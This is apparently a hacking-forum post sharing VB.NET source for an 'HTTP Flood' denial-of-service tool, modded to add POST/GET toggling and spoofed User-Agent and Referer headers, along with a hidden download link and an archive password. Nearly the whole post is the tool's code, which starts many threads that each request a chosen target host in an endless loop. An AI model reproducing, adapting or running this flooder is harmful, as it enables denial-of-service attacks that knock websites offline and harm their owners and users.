.NET [VB .NET] HTTP Flood modded

[sQuo]

This link is hidden for visitors. Please Log in or register now.

Pass: level-23.biz

>'Coded by t0fx
'Modded by till7

'New: POST/GET Request,Referer & Useragent

Imports System
Imports System.Net
Imports System.Threading
Imports System.Text

Friend Class HttpFlood
   Private Shared _floodingJob As ThreadStart()
   Private Shared _floodingThread As Thread()
   Public Shared Host As String

   'User Agent, Referer und POST/GET Request
   Public Shared useragent As String
   Public Shared referer As String
   Public Shared post As Boolean

   Public Shared Interval As Integer
   Public Shared IsEnabled As Boolean
   Private Shared _requestClass As HttpRequest()
   Public Shared Threads As Integer

   Public Shared Sub StartHttpFlood()
       _floodingThread = New Thread(Threads - 1) {}
       _floodingJob = New ThreadStart(Threads - 1) {}
       _requestClass = New HttpRequest(Threads - 1) {}
       For i As Integer = 0 To Threads - 1
           _requestClass(i) = New HttpRequest(Host, Interval, useragent, referer)
           _floodingJob(i) = New ThreadStart(AddressOf _requestClass(i).Send)
           _floodingThread(i) = New Thread(_floodingJob(i))
           _floodingThread(i).Start()
       Next
       IsEnabled = True
   End Sub

   Public Shared Sub StopHttpFlood()
       For i As Integer = 0 To Threads - 1
           Try
               _floodingThread(i).Abort()
               _floodingThread(i) = Nothing
               _floodingJob(i) = Nothing
               _requestClass(i) = Nothing
           Catch p As Exception
           End Try
       Next
       IsEnabled = False
   End Sub

   Private Class HttpRequest
       Private Host As String
       Private useragent As String
       Private referer As String
       Private Http As New WebClient()
       Private Interval As Integer

       Public Sub New(ByVal Host As String, ByVal Interval As Integer, ByVal useragent As String, ByVal referer As String)
           Me.Host = Host
           Me.Interval = Interval
           Me.useragent = useragent
           Me.referer = referer
       End Sub

       Public Sub Send()
           While True
               Try
                   If (post = False) Then
                       Http.Headers.Add("GET: " & Host & " HTTP/1.1")
                   Else
                       Http.Headers.Add("POST: " & Host & " HTTP/1.1")
                   End If


                   Http.Headers.Add(HttpRequestHeader.UserAgent, useragent)
                   Http.Headers.Add(HttpRequestHeader.Referer, referer)

                   Http.DownloadString(Host)

                   Thread.Sleep(Interval)
               Catch
                   Thread.Sleep(Interval)
               End Try
           End While
       End Sub
   End Class
End Class